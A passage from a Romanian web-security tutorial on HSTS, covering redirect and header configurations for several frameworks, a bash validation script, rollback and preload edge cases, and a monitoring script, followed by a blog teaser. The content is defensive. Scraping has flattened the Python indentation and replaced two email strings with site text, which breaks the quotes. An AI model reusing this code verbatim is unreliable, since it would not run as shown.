 key: fs.readFileSync('/path/to/private-key.pem'),
 cert: fs.readFileSync('/path/to/certificate.pem')
};
https.createServer(httpsOptions, app).listen(443, () => {
 console.log('HTTPS Server running on port 443');
});
// Server HTTP pentru redirect
const http = require('http');
http.createServer((req, res) => {
 res.writeHead(301, { 'Location': 'https://' + req.headers.host + req.url });
 res.end();
}).listen(80, () => {
 console.log('HTTP Server running on port 80 (redirects to HTTPS)');
});

Django (Python):

python
# settings.py
# Forțează HTTPS în production
SECURE_SSL_REDIRECT = True
# HSTS Settings
SECURE_HSTS_SECONDS = 31536000 # 1 an
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
# Alte setări de securitate HTTPS
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
# Pentru development (dezactivează HSTS)
if DEBUG:
 SECURE_SSL_REDIRECT = False
 SECURE_HSTS_SECONDS = 0
# Middleware necesar (deja inclus implicit)
MIDDLEWARE = [
 'django.middleware.security.SecurityMiddleware',
 # ... alte middleware
]

Flask (Python):

python
from flask import Flask, redirect, request
from flask_talisman import Talisman
app = Flask(__name__)
# Metodă 1: Folosind Flask-Talisman (recomandat)
Talisman(app,
 force_https=True,
 strict_transport_security=True,
 strict_transport_security_max_age=31536000,
 strict_transport_security_include_subdomains=True,
 strict_transport_security_preload=True
)
# Metodă 2: Manual cu decorator
from functools import wraps
def force_https(f):
 @wraps(f)
 def decorated_function(*args, **kwargs):
 if not request.is_secure:
 url = request.url.replace('http://', 'https://', 1)
 return redirect(url, code=301)
 return f(*args, **kwargs)
 return decorated_function
@app.after_request
def set_hsts(response):
 if request.is_secure:
 response.headers['Strict-Transport-Security'] = \
 'max-age=31536000; includeSubDomains; preload'
 return response
@app.route('/')
@force_https
def index():
 return 'Hello, HTTPS!'
if __name__ == '__main__':
 # Production: Folosește WSGI server cu SSL (Gunicorn + Nginx)
 # Development cu SSL
 app.run(ssl_context='adhoc') # Certificat self-signed pentru dev

PHP:

php
<?php
// La începutul fiecărui script sau în config.php
// Verifică dacă conexiunea este HTTPS
$isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
 || $_SERVER['SERVER_PORT'] == 443
 || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if ($isHttps) {
 // Setează HSTS doar pe HTTPS
 header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");
} else {
 // Redirect HTTP → HTTPS
 $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
 header('HTTP/1.1 301 Moved Permanently');
 header('Location: ' . $redirect);
 exit();
}
// Funcție helper reusabilă
function enforceHTTPS() {
 if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === 'off') {
 if (!headers_sent()) {
 $url = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
 header('Location: ' . $url, true, 301);
 exit;
 }
 }
 // Setează HSTS
 if (!headers_sent()) {
 header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
 }
}
// Apelează la începutul aplicației
enforceHTTPS();
?>

Validare și testare post-implementare

Checklist de verificare imediată:

  • Header-ul HSTS este prezent pe HTTPS
  • Header-ul HSTS NU este prezent pe HTTP (dacă HTTP există)
  • max-age este setat la minim 31536000 (1 an)
  • includeSubDomains este prezent (dacă toate subdomeniile sunt HTTPS)
  • Toate subdomeniile active au certificat SSL valid
  • HTTP redirect către HTTPS funcționează (301 sau 308)
  • Nu există mixed content warnings în browser console
  • Cookie-urile sensibile au flag-ul Secure
  • Aplicația funcționează complet pe HTTPS

Test manual - validare comportament browser:

PASUL 1: Curăță cache HSTS
Chrome: chrome://net-internals/#hsts
 - Query domain: aplicatie.ro
 - Delete domain: aplicatie.ro
Firefox: about:preferences#privacy
 - Clear Data → Cookies and Site Data
PASUL 2: Prima vizită HTTPS
 - Navighează: https://aplicatie.ro
 - Verifică în DevTools → Network → Response Headers
 - Trebuie să vezi: Strict-Transport-Security: max-age=31536000...
PASUL 3: Verifică că HSTS este activ
Chrome: chrome://net-internals/#hsts
 - Query domain: aplicatie.ro
 - Trebuie să vezi:
 static_sts_domain: aplicatie.ro
 static_upgrade_mode: STRICT
 static_sts_include_subdomains: true
 dynamic_upgrade_mode: STRICT
PASUL 4: Test încercare acces HTTP
 - Tastează în browser: http://aplicatie.ro
 - Observă: Browser convertește AUTOMAT la https:// FĂRĂ să facă request HTTP
 - În Network tab vezi: (internal redirect) sau 307 Internal Redirect
PASUL 5: Test subdomenii
 - Navighează: http://www.aplicatie.ro
 - Trebuie conversie automată la HTTPS (dacă includeSubDomains activ)

Test automatizat - script complet de validare:

bash
#!/bin/bash
# HSTS Validation Script
# Usage: ./validate_hsts.sh aplicatie.ro
DOMAIN=$1
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
if [ -z "$DOMAIN" ]; then
 echo "Usage: $0 <domain>"
 exit 1
fi
echo -e "${BLUE}======================================${NC}"
echo -e "${BLUE} HSTS Validation for $DOMAIN${NC}"
echo -e "${BLUE}======================================${NC}\n"
SCORE=0
MAX_SCORE=0
# Test 1: HTTPS Availability
echo -e "${BLUE}[Test 1] HTTPS Availability${NC}"
MAX_SCORE=$((MAX_SCORE + 10))
if curl -s -o /dev/null -w "%{http_code}" "https://$DOMAIN" --connect-timeout 10 | grep -q "^[23]"; then
 echo -e " ${GREEN}✓${NC} HTTPS is accessible"
 SCORE=$((SCORE + 10))
else
 echo -e " ${RED}✗${NC} HTTPS is NOT accessible"
 echo -e " ${RED}CRITICAL: Cannot proceed without HTTPS${NC}"
 exit 1
fi
echo ""
# Test 2: HSTS Header Presence
echo -e "${BLUE}[Test 2] HSTS Header Presence${NC}"
MAX_SCORE=$((MAX_SCORE + 20))
HSTS_HEADER=$(curl -sI "https://$DOMAIN" | grep -i "strict-transport-security:" | tr -d '\r')
if [ -n "$HSTS_HEADER" ]; then
 echo -e " ${GREEN}✓${NC} HSTS header found"
 echo -e " ${BLUE}Header:${NC} $HSTS_HEADER"
 SCORE=$((SCORE + 20))
else
 echo -e " ${RED}✗${NC} HSTS header NOT found"
 echo -e " ${RED}CRITICAL VULNERABILITY: Site vulnerable to SSL stripping${NC}"
fi
echo ""
# Test 3: max-age Value
echo -e "${BLUE}[Test 3] max-age Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 20))
if [ -n "$HSTS_HEADER" ]; then
 MAX_AGE=$(echo "$HSTS_HEADER" | grep -oP 'max-age=\K[0-9]+')
 if [ -n "$MAX_AGE" ]; then
 DAYS=$((MAX_AGE / 86400))
 echo -e " ${BLUE}max-age:${NC} $MAX_AGE seconds ($DAYS days)"
 if [ "$MAX_AGE" -ge 31536000 ]; then
 echo -e " ${GREEN}✓${NC} max-age is excellent (≥ 1 year)"
 SCORE=$((SCORE + 20))
 elif [ "$MAX_AGE" -ge 10886400 ]; then
 echo -e " ${YELLOW}⚠${NC} max-age is acceptable but could be longer"
 echo -e " Recommended: 31536000 (1 year)"
 SCORE=$((SCORE + 15))
 elif [ "$MAX_AGE" -ge 86400 ]; then
 echo -e " ${YELLOW}⚠${NC} max-age is too short (< 4 months)"
 SCORE=$((SCORE + 10))
 else
 echo -e " ${RED}✗${NC} max-age is critically short (< 1 day)"
 SCORE=$((SCORE + 5))
 fi
 else
 echo -e " ${RED}✗${NC} max-age directive is missing"
 fi
else
 echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""
# Test 4: includeSubDomains
echo -e "${BLUE}[Test 4] includeSubDomains Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 15))
if [ -n "$HSTS_HEADER" ]; then
 if echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
 echo -e " ${GREEN}✓${NC} includeSubDomains is present"
 SCORE=$((SCORE + 15))
 else
 echo -e " ${YELLOW}⚠${NC} includeSubDomains is missing"
 echo -e " Subdomains are NOT protected by HSTS"
 fi
else
 echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""
# Test 5: preload Directive
echo -e "${BLUE}[Test 5] preload Directive${NC}"
MAX_SCORE=$((MAX_SCORE + 10))
if [ -n "$HSTS_HEADER" ]; then
 if echo "$HSTS_HEADER" | grep -qi "preload"; then
 echo -e " ${GREEN}✓${NC} preload directive is present"
 echo -e " ${BLUE}Info:${NC} Submit to https://hstspreload.org if not done"
 SCORE=$((SCORE + 10))
 else
 echo -e " ${YELLOW}⚠${NC} preload directive is missing"
 echo -e " Consider adding for maximum protection"
 SCORE=$((SCORE + 5))
 fi
else
 echo -e " ${RED}✗${NC} Cannot check (HSTS header missing)"
fi
echo ""


# Test 6: HTTP to HTTPS Redirect
echo -e "${BLUE}[Test 6] HTTP to HTTPS Redirect${NC}"
MAX_SCORE=$((MAX_SCORE + 15))
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "http://$DOMAIN" --connect-timeout 10)
LOCATION=$(curl -sI "http://$DOMAIN" | grep -i "location:" | awk '{print $2}' | tr -d '\r')
if [ "$HTTP_CODE" == "301" ] || [ "$HTTP_CODE" == "308" ]; then
 if [[ "$LOCATION" == https://* ]]; then
 echo -e " ${GREEN}✓${NC} HTTP redirects to HTTPS ($HTTP_CODE)"
 echo -e " ${BLUE}Location:${NC} $LOCATION"
 SCORE=$((SCORE + 15))
 else
 echo -e " ${RED}✗${NC} HTTP redirects but NOT to HTTPS"
 echo -e " ${BLUE}Location:${NC} $LOCATION"
 SCORE=$((SCORE + 5))
 fi
elif [ "$HTTP_CODE" == "302" ] || [ "$HTTP_CODE" == "307" ]; then
 if [[ "$LOCATION" == https://* ]]; then
 echo -e " ${YELLOW}⚠${NC} HTTP redirects to HTTPS but using temporary redirect ($HTTP_CODE)"
 echo -e " Recommended: Use 301 or 308 (permanent redirect)"
 SCORE=$((SCORE + 10))
 else
 echo -e " ${RED}✗${NC} HTTP redirects but NOT to HTTPS"
 fi
else
 echo -e " ${RED}✗${NC} HTTP does NOT redirect properly (HTTP $HTTP_CODE)"
 echo -e " ${RED}CRITICAL: Site serves content on HTTP${NC}"
fi
echo ""
# Test 7: HSTS on HTTP (should NOT be present)
echo -e "${BLUE}[Test 7] HSTS Header on HTTP${NC}"
MAX_SCORE=$((MAX_SCORE + 5))
HTTP_HSTS=$(curl -sI "http://$DOMAIN" 2>/dev/null | grep -i "strict-transport-security:")
if [ -z "$HTTP_HSTS" ]; then
 echo -e " ${GREEN}✓${NC} HSTS header correctly NOT present on HTTP"
 SCORE=$((SCORE + 5))
else
 echo -e " ${YELLOW}⚠${NC} HSTS header present on HTTP (ineffective but harmless)"
 echo -e " HSTS should only be sent over HTTPS"
 SCORE=$((SCORE + 3))
fi
echo ""
# Test 8: SSL Certificate Validity
echo -e "${BLUE}[Test 8] SSL Certificate${NC}"
MAX_SCORE=$((MAX_SCORE + 5))
SSL_INFO=$(echo | openssl s_client -servername "$DOMAIN" -connect "$DOMAIN:443" 2>/dev/null | openssl x509 -noout -dates 2>/dev/null)
if [ -n "$SSL_INFO" ]; then
 echo -e " ${GREEN}✓${NC} SSL certificate is valid"
 NOT_AFTER=$(echo "$SSL_INFO" | grep "notAfter" | cut -d= -f2)
 echo -e " ${BLUE}Expires:${NC} $NOT_AFTER"
 SCORE=$((SCORE + 5))
else
 echo -e " ${RED}✗${NC} SSL certificate issue detected"
fi
echo ""
# Test 9: Check Common Subdomains
echo -e "${BLUE}[Test 9] Common Subdomains${NC}"
SUBDOMAINS=("www" "api" "admin" "mail")
SUBDOMAIN_ISSUES=0
for SUB in "${SUBDOMAINS[@]}"; do
 FULL_SUB="${SUB}.${DOMAIN}"
 # Check if subdomain exists
 if host "$FULL_SUB" &> /dev/null; then
 echo -e " ${BLUE}Checking:${NC} $FULL_SUB"
 # Check HTTPS availability
 if curl -s -o /dev/null -w "%{http_code}" "https://$FULL_SUB" --connect-timeout 5 | grep -q "^[23]"; then
 # Check HSTS
 SUB_HSTS=$(curl -sI "https://$FULL_SUB" 2>/dev/null | grep -i "strict-transport-security:")
 if [ -n "$SUB_HSTS" ]; then
 echo -e " ${GREEN}✓${NC} HTTPS accessible, HSTS present"
 else
 echo -e " ${YELLOW}⚠${NC} HTTPS accessible, HSTS missing"
 SUBDOMAIN_ISSUES=$((SUBDOMAIN_ISSUES + 1))
 fi
 else
 echo -e " ${RED}✗${NC} HTTPS NOT accessible"
 SUBDOMAIN_ISSUES=$((SUBDOMAIN_ISSUES + 1))
 fi
 fi
done
if [ $SUBDOMAIN_ISSUES -eq 0 ]; then
 echo -e " ${GREEN}✓${NC} All checked subdomains are properly configured"
else
 echo -e " ${YELLOW}⚠${NC} $SUBDOMAIN_ISSUES subdomain issue(s) found"
fi
echo ""
# Final Score
echo -e "${BLUE}======================================${NC}"
echo -e "${BLUE} FINAL SCORE${NC}"
echo -e "${BLUE}======================================${NC}"
PERCENTAGE=$((SCORE * 100 / MAX_SCORE))
echo -e "${BLUE}Score:${NC} $SCORE / $MAX_SCORE ($PERCENTAGE%)"
if [ $PERCENTAGE -ge 90 ]; then
 echo -e "${GREEN}Grade: A+ (Excellent)${NC}"
 echo -e "Your HSTS implementation is excellent!"
elif [ $PERCENTAGE -ge 80 ]; then
 echo -e "${GREEN}Grade: A (Very Good)${NC}"
 echo -e "Your HSTS implementation is very good with minor improvements possible."
elif [ $PERCENTAGE -ge 70 ]; then
 echo -e "${YELLOW}Grade: B (Good)${NC}"
 echo -e "Your HSTS implementation is good but needs some improvements."
elif [ $PERCENTAGE -ge 60 ]; then
 echo -e "${YELLOW}Grade: C (Acceptable)${NC}"
 echo -e "Your HSTS implementation needs significant improvements."
else
 echo -e "${RED}Grade: F (Fail)${NC}"
 echo -e "Your HSTS implementation has critical issues that need immediate attention."
fi
echo -e "${BLUE}======================================${NC}\n"
# Recommendations
if [ $PERCENTAGE -lt 90 ]; then
 echo -e "${BLUE}RECOMMENDATIONS:${NC}\n"
 if [ -z "$HSTS_HEADER" ]; then
 echo -e "1. ${RED}CRITICAL:${NC} Add HSTS header immediately"
 echo -e " Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n"
 fi
 if [ -n "$MAX_AGE" ] && [ "$MAX_AGE" -lt 31536000 ]; then
 echo -e "2. Increase max-age to at least 31536000 (1 year)\n"
 fi
 if [ -n "$HSTS_HEADER" ] && ! echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
 echo -e "3. Add includeSubDomains directive to protect all subdomains\n"
 fi
 if [ "$HTTP_CODE" != "301" ] && [ "$HTTP_CODE" != "308" ]; then
 echo -e "4. Implement proper HTTP to HTTPS redirect (301 or 308)\n"
 fi
 if [ $SUBDOMAIN_ISSUES -gt 0 ]; then
 echo -e "5. Fix subdomain HTTPS/HSTS configuration issues\n"
 fi
 if [ -n "$HSTS_HEADER" ] && ! echo "$HSTS_HEADER" | grep -qi "preload"; then
 echo -e "6. Consider adding 'preload' directive and submitting to:\n"
 echo -e " https://hstspreload.org/\n"
 fi
fi

Salvează ca validate_hsts.sh și rulează:

bash
chmod +x validate_hsts.sh
./validate_hsts.sh aplicatie.ro

Cazuri speciale și probleme comune

Caz 1: Mixed Content - Resurse HTTP pe pagini HTTPS

Problema:

html
<!-- Pagina este pe HTTPS dar include resurse HTTP -->
<script src="http://cdn.example.com/jquery.js"></script>
<img src="http://aplicatie.ro/logo.png">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Roboto">

Impact: Browser-ul va bloca aceste resurse (mai ales scripturi) dacă HSTS este activ.

Soluție:

html
<!-- Opțiunea 1: Folosește HTTPS explicit -->
<script src="https://cdn.example.com/jquery.js"></script>
<img src="https://aplicatie.ro/logo.png">
<!-- Opțiunea 2: Protocol-relative URLs (legacy, nu mai e recomandat) -->
<script src="//cdn.example.com/jquery.js"></script>
<!-- Opțiunea 3 (RECOMANDATĂ): Relative URLs pentru resurse interne -->
<img src="/images/logo.png">
<script src="/js/app.js">
<!-- Opțiunea 4: CSP upgrade-insecure-requests -->
<!-- În header-ul CSP: -->
<!-- Content-Security-Policy: upgrade-insecure-requests -->

Detectare mixed content:

javascript
// În browser console pe o pagină HTTPS
// Verifică toate resursele încărcate
performance.getEntriesByType('resource').forEach(resource => {
 if (resource.name.startsWith('http://')) {
 console.warn('Mixed content found:', resource.name);
 }
});

Automatizare cu CSP:

nginx
# Nginx - forțează upgrade automat HTTP → HTTPS pentru resurse
add_header Content-Security-Policy "upgrade-insecure-requests" always;
```
Acest header instruiește browser-ul să înlocuiască automat toate URL-urile HTTP cu HTTPS.
---
**Caz 2: Subdomeniu fără HTTPS când includeSubDomains este activ**
**Problema:**
```
- aplicatie.ro → HSTS cu includeSubDomains
- blog.aplicatie.ro → Nu are certificat SSL

Impact: Utilizatorii nu vor putea accesa blog.aplicatie.ro deloc - browser-ul va refuza conexiunea.

Soluții:

Opțiunea 1: Obține certificat SSL pentru subdomeniu

bash
# Folosește Let's Encrypt pentru certificat gratuit
certbot certonly --nginx -d blog.aplicatie.ro
# Sau certificat wildcard pentru toate subdomeniile
certbot certonly --dns-cloudflare -d "*.aplicatie.ro" -d aplicatie.ro

Opțiunea 2: Exclude subdomeniul din HSTS (temporar)

nginx
# Nginx - HSTS fără includeSubDomains până când toate subdomeniile au SSL
server {
 listen 443 ssl;
 server_name aplicatie.ro;
 # FĂRĂ includeSubDomains temporar
 add_header Strict-Transport-Security "max-age=31536000" always;
}
# După ce toate subdomeniile au SSL, adaugă includeSubDomains
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

Opțiunea 3: Redirect subdomeniu către domeniu principal

nginx
# Nginx - redirect blog.aplicatie.ro → aplicatie.ro/blog
server {
 listen 80;
 server_name blog.aplicatie.ro;
 return 301 https://aplicatie.ro/blog$request_uri;
}
```
---
**Caz 3: API sau Serviciu care trebuie accesat și prin HTTP (legacy clients)**
**Problema:**
```
- API modernă: https://api.aplicatie.ro
- Clienți legacy (embedded devices, vechi software) care folosesc HTTP
- HSTS îi va bloca complet

Soluții:

Opțiunea 1: Subdomeniu separat fără HSTS pentru legacy

nginx
# api-legacy.aplicatie.ro (fără HSTS, doar pentru legacy)
server {
 listen 80;
 server_name api-legacy.aplicatie.ro;
 # NU adăuga HSTS aici
 # NU include în includeSubDomains al domeniului principal
 location / {
 proxy_pass http://legacy-api-backend:8080;
 }
}
# api.aplicatie.ro (cu HSTS pentru clienți moderni)
server {
 listen 443 ssl;
 server_name api.aplicatie.ro;
 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
 location / {
 proxy_pass http://api-backend:8080;
 }
}

Opțiunea 2: Port diferit pentru legacy

nginx
# HTTPS pe portul standard 443 cu HSTS
server {
 listen 443 ssl;
 server_name api.aplicatie.ro;
 add_header Strict-Transport-Security "max-age=31536000" always;
}
# HTTP pe port non-standard 8080 pentru legacy (fără HSTS)
server {
 listen 8080;
 server_name api.aplicatie.ro;
 # Clienții legacy accesează: http://api.aplicatie.ro:8080
}

⚠️ ATENȚIE: Această abordare este un compromis de securitate. Planifică migrarea clienților legacy către HTTPS.


Caz 4: Elimina HSTS (rollback) - Situație de urgență

Problema: Ai activat HSTS prea devreme, aplicația are probleme pe HTTPS, trebuie rollback urgent.

Pasul 1: Oprește trimiterea header-ului HSTS

nginx
# Nginx - comentează sau șterge linia HSTS
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

Pasul 2: Trimite HSTS cu max-age=0 (invalidare)

nginx
# Trimite header cu max-age=0 pentru a instrui browser-ele să UITE HSTS
add_header Strict-Transport-Security "max-age=0" always;
```
**Pasul 3: Ține max-age=0 cel puțin 1-2 săptămâni**
Utilizatorii care au vizitat site-ul vor primi noul header și vor șterge HSTS din cache.
**Pasul 4: După 2 săptămâni, elimină complet header-ul**
**⚠️ LIMITĂRI:**
- Utilizatorii care nu revisitează site-ul în perioada de rollback vor rămâne cu HSTS activ
- Dacă site-ul era în HSTS Preload List, procesul este mult mai complex (vezi mai jos)
---
**Caz 5: Eliminare din HSTS Preload List**
**Context:** Ai adăugat domeniul în https://hstspreload.org/ dar acum vrei să-l scoți.
**Proces (LUNG - poate dura luni):**
```
1. Oprește trimiterea directivei 'preload' în header:
 Strict-Transport-Security: max-age=0
2. Completează form de removal:
 https://hstspreload.org/removal/
3. Așteaptă aprobare (câteva săptămâni)
4. După aprobare, HSTS va fi eliminat din:
 - Chrome (actualizare în ~3 luni)
 - Firefox (actualizare în ~3 luni)
 - Safari (actualizare în ~3-6 luni)
 - Edge (urmează Chrome)
5. Utilizatorii vor continua să vadă HSTS până când browser-ul lor primește update-ul listei
```
**⚠️ CONCLUZIE:** HSTS Preload este o **decizie (aproape) permanentă**. Testează EXTREM DE BINE înainte de a aplica pe preload list!
---
**Caz 6: HSTS și CDN / Load Balancers**
**Problema:** Aplicația e în spatele unui CDN (Cloudflare, CloudFront) sau load balancer.
**Configurare corectă:**
**Cloudflare:**
```
Opțiunea 1: Activează HSTS în Cloudflare Dashboard
SSL/TLS → Edge Certificates → HTTP Strict Transport Security (HSTS)
 - Max Age: 12 months
 - Include subdomains: Yes (dacă aplicabil)
 - Preload: Yes (dacă sigur)
Cloudflare va adăuga automat header-ul HSTS în răspunsuri.
Opțiunea 2: Configurează la origin + Cloudflare
- Origin (server-ul tău) trimite HSTS
- Cloudflare îl propagă către client

AWS CloudFront:

javascript
// Lambda@Edge function pentru HSTS
exports.handler = (event, context, callback) => {
 const response = event.Records[0].cf.response;
 const headers = response.headers;
 headers['strict-transport-security'] = [{
 key: 'Strict-Transport-Security',
 value: 'max-age=31536000; includeSubDomains; preload'
 }];
 callback(null, response);
};

Nginx ca reverse proxy:

nginx
server {
 listen 443 ssl;
 server_name aplicatie.ro;
 # SSL termination la proxy
 ssl_certificate /path/to/cert.pem;
 ssl_certificate_key /path/to/key.pem;
 # Adaugă HSTS la proxy level
 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
 location / {
 # Proxy către backend (poate fi HTTP intern)
 proxy_pass http://backend:8080;
 # Informează backend-ul că request-ul original era HTTPS
 proxy_set_header X-Forwarded-Proto https;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 }
}

Caz 7: Mobile Apps și HSTS

Problema: App-ul tău mobile face API calls către https://api.aplicatie.ro cu HSTS.

Considerații:

swift
// iOS - URLSession respectă automat HSTS
// Dacă server-ul trimite HSTS, iOS îl va respecta în requests ulterioare
let url = URL(string: "https://api.aplicatie.ro/data")!
let task = URLSession.shared.dataTask(with: url) { data, response, error in
 // HSTS este aplicat automat de sistem
}
// ⚠️ ATENȚIE: Dacă schimbi API-ul la HTTP în viitor,
// app-urile care au văzut HSTS nu vor mai putea conecta!
kotlin
// Android - OkHttp / Retrofit respectă HSTS
val client = OkHttpClient.Builder()
 .build()
// HSTS este respectat automat
// Nu trebuie configurare specială
```
**Best Practice pentru Mobile:**
```
1. Folosește HTTPS exclusiv pentru API-uri mobile
2. Activează HSTS pe API domain
3. Planifică migrări de domenii cu atenție (HSTS persistă)
4. Testează pe dispozitive reale înainte de lansare

Monitoring și alerting HSTS

Script de monitorizare continuă:

python
#!/usr/bin/env python3
import requests
import re
import smtplib
from email.mime.text import MIMEText
from datetime import datetime
def check_hsts(domain, alert_email=None):
 """Verifică HSTS și trimite alert dacă există probleme"""
 issues = []
 url = f"https://{domain}"
 try:
 response = requests.get(url, timeout=10)
 hsts = response.headers.get('Strict-Transport-Security', '')
 if not hsts:
 issues.append(f"CRITICAL: HSTS header missing on {domain}")
 else:
 # Check max-age
 max_age_match = re.search(r'max-age=(\d+)', hsts)
 if max_age_match:
 max_age = int(max_age_match.group(1))
 if max_age < 2592000: # Less than 30 days
 issues.append(f"WARNING: {domain} has low max-age: {max_age}s")
 # Check includeSubDomains
 if 'includesubdomains' not in hsts.lower():
 issues.append(f"WARNING: {domain} missing includeSubDomains")
 # Check HTTP redirect
 http_response = requests.get(f"http://{domain}", timeout=10, allow_redirects=False)
 if http_response.status_code not in [301, 302, 307, 308]:
 issues.append(f"WARNING: {domain} HTTP not redirecting properly")
 if issues and alert_email:
 send_alert(domain, issues, alert_email)
 return len(issues) == 0
 except Exception as e:
 issues.append(f"ERROR: Could not check {domain}: {e}")
 if alert_email:
 send_alert(domain, issues, alert_email)
 return False
def send_alert(domain, issues, email):
 """Trimite email alert"""
 subject = f"HSTS Alert: Issues detected on {domain}"
 body = f"""
HSTS Security Alert
===================
Domain: {domain}
Time: {datetime.now()}
Issues Detected:
{''.join([f"- {issue}" for issue in issues])}
Please investigate immediately.
"""
 msg = MIMEText(body)
 msg['Subject'] = subject
 msg['From'] = Această adresă de email este protejată contra spambots. Trebuie să activați JavaScript pentru a o vedea.'
 msg['To'] = email
 # Configure SMTP
 # smtp = smtplib.SMTP('localhost')
 # smtp.send_message(msg)
 # smtp.quit()
 print(f"Alert sent to {email}")
# Run checks
domains = [
 'aplicatie.ro',
 'www.aplicatie.ro',
 'api.aplicatie.ro'
]
for domain in domains:
 check_hsts(domain, alert_email=Această adresă de email este protejată contra spambots. Trebuie să activați JavaScript pentru a o vedea.')

Cron job pentru monitorizare zilnică:

bash
# Adaugă în crontab -e
0 9 * * * /usr/bin/python3 /path/to/hsts_monitor.py >> /var/log/hsts_monitor.log 2>&1

CONCLUZIE SECȚIUNEA 2.3

HSTS reprezintă o protecție critică împotriva atacurilor de tip man-in-the-middle și SSL stripping, transformând HTTPS dintr-o opțiune într-o cerință obligatorie pentru comunicarea cu site-ul tău. Implementarea corectă necesită:

Checklist final HSTS:

  • ✅ Certificat SSL valid pe toate domeniile și subdomeniile
  • ✅ Redirect HTTP → HTTPS funcțional (301/308)
  • ✅ Header HSTS cu max-age ≥ 31536000 (1 an)
  • ✅ Directiva includeSubDomains (dacă toate subdomeniile sunt HTTPS)
  • ✅ Zero mixed content pe site
  • ✅ Cookie-uri cu flag Secure
  • ✅ Testare exhaustivă înainte de preload
  • ✅ Monitoring continuu al header-ului

Ordine recomandată de implementare:

  1. Asigură HTTPS funcțional 100%
  2. Implementează HSTS cu max-age scurt (testare)
  3. Crește gradual max-age
  4. Adaugă includeSubDomains (după verificare subdomenii)
  5. Consideră preload (doar după luni de stabilitate)

Continuăm cu secțiunea 2.4 (X-Content-Type-Options)

Ultimile articole

Noutăti pe email

Neo, de aici viitor nu este scris...


Scrisoare către fiu meu despre paradoxul ”Algoritmul engagement” - vezi Neo, de aici viitor nu este scris...

Algoritmii de engagement reprezintă o inovație tehnologică fascinantă care, prin design-ul lor fundamental orientat spre maximizarea profitului, creează o tensiune inevitabilă între eficiența economică și bunăstarea civică, transformându-se dintr-o unealtă de utilitate într-un mecanism de captivare care erodează capacitatea noastră de atenție deliberată și conexiune autentică chiar recent legiferată impunând restricții pentru minori dependență social-mediaeste o boală a acestei generații . Vezi ideile de Cuprins, menționez că este în dezvoltare subiectul, adică în lucru. Titlu scurt sugerat de un amic, O colecție de scrisori a tatălui către fiu - Neo la sfârșitul Matrix: "Unde mergem de aici nu este predeterminat. Viitorul nu este încă scris."